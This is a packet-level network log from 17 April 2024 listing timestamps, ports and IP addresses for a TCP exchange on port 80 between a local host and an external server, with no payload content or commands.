Apr 17, 2024 06:57:05.143032074 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143038034 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143049955 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143060923 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143085957 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143086910 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143111944 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143129110 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143146038 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143162966 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143162966 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143179893 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143188953 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143188953 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143197060 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143207073 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143214941 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143223047 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143232107 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143239975 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143253088 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143255949 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143270016 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143273115 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143290997 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143296957 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143310070 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143313885 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143326998 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143340111 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143345118 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143361092 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143366098 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143366098 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143379927 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143383980 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143399954 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143399954 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143416882 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143430948 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143435001 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143452883 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143456936 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143456936 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143470049 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143475056 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143490076 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143491030 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143507957 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143517017 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143524885 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143537045 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143541098 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143557072 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143558979 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143579960 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143580914 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143580914 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143595934 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143599987 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143613100 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143620014 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143630981 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143635988 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143647909 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143652916 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143671036 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143673897 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143687963 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143697977 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143706083 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143716097 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143723965 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143733025 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143740892 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143752098 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143759966 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143770933 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143778086 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143790007 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143795013 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143810034 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143814087 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143829107 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143832922 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143851042 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143855095 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143855095 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143867016 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143887997 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143887997 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143898010 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143915892 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143930912 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143932104 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143930912 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143954039 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143956900 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143973112 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143974066 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143982887 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143991947 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.144007921 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.144027948 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.144038916 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.144045115 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.144062996 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.144083023 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.144114971 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.144126892 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.144126892 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.144126892 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.144126892 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.144131899 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.144150019 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.144160986 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.144160986 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.144169092 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.144181013 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.144186974 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.144196987 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.144205093 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.144215107 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.144222021 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.144232988 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.144238949 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.144252062 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.144254923 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.144268036 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.144272089 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.144284010 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.144289970 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.144304037 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.144308090 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.144326925 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.144328117 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.144342899 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.144345999 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.144361019 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.144364119 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.144380093 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.144383907 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.144396067 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.144401073 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.144412994 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.144419909 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.144432068 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.144438028 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.144449949 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.144454956 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.144467115 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.144474030 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.144485950 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.144491911 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.144503117 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.144510031 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.144519091 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.144526958 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.144542933 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.144546032 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.144562960 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.144563913 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.144582033 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.144587040 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.144587040 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.144606113 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.144634962 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.144750118 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.144797087 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.144820929 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.144872904 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.144906044 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.144923925 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.144942045 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.144957066 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.144961119 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.144978046 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.144979954 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.144999027 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145001888 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145003080 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145015955 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145024061 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145034075 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145037889 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145064116 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145082951 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145170927 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145188093 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145205021 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145220041 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145224094 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145241976 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145241976 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145260096 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145266056 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145266056 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145277023 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145287991 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145296097 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145302057 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145314932 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145320892 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145330906 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145339966 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145348072 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145356894 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145366907 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145379066 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145386934 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145395041 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145404100 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145411968 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145421028 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145427942 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145437956 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145447016 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145456076 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145462990 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145481110 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145487070 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145498037 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145507097 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145514011 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145524979 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145530939 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145540953 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145549059 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145560026 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145569086 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145575047 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145586967 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145598888 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145606041 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145617962 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145622969 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145643950 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145643950 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145662069 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145683050 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145703077 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145719051 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145735025 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145735025 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145751953 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145760059 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145760059 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145771027 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145778894 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145788908 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145800114 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145806074 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145818949 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145823956 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145837069 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145840883 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145855904 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145858049 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145874977 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145879030 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145898104 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145901918 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145901918 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145915031 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145920038 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145932913 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145939112 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145951033 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145956039 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145967960 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145977974 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.145987988 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.145994902 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.146007061 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.146013975 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.146024942 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.146033049 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.146042109 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.146054029 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.146059990 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.146070004 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.146085978 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.146104097 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.345129967 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.345161915 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.345171928 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.345182896 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.345191956 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.345201015 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.345212936 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.345221996 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.345231056 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.345240116 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.345254898 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.345264912 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.345273972 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.345283985 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.345407963 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.345490932 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.345582962 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.345598936 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.345614910 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.345633984 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.345652103 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.345669031 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.345685959 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.345702887 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.345721006 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.345750093 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.345781088 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.346227884 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.346287012 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.346290112 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.346308947 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.346338987 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.346370935 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.347650051 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.347706079 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.347707033 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.347724915 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.347755909 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.347758055 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.347774982 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.347774982 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.347791910 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.347820044 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.347820044 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.347842932 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.347875118 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.347893000 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.347908974 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.347927094 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.347928047 CEST	49730	80	192.168.2.4	185.172.128.23
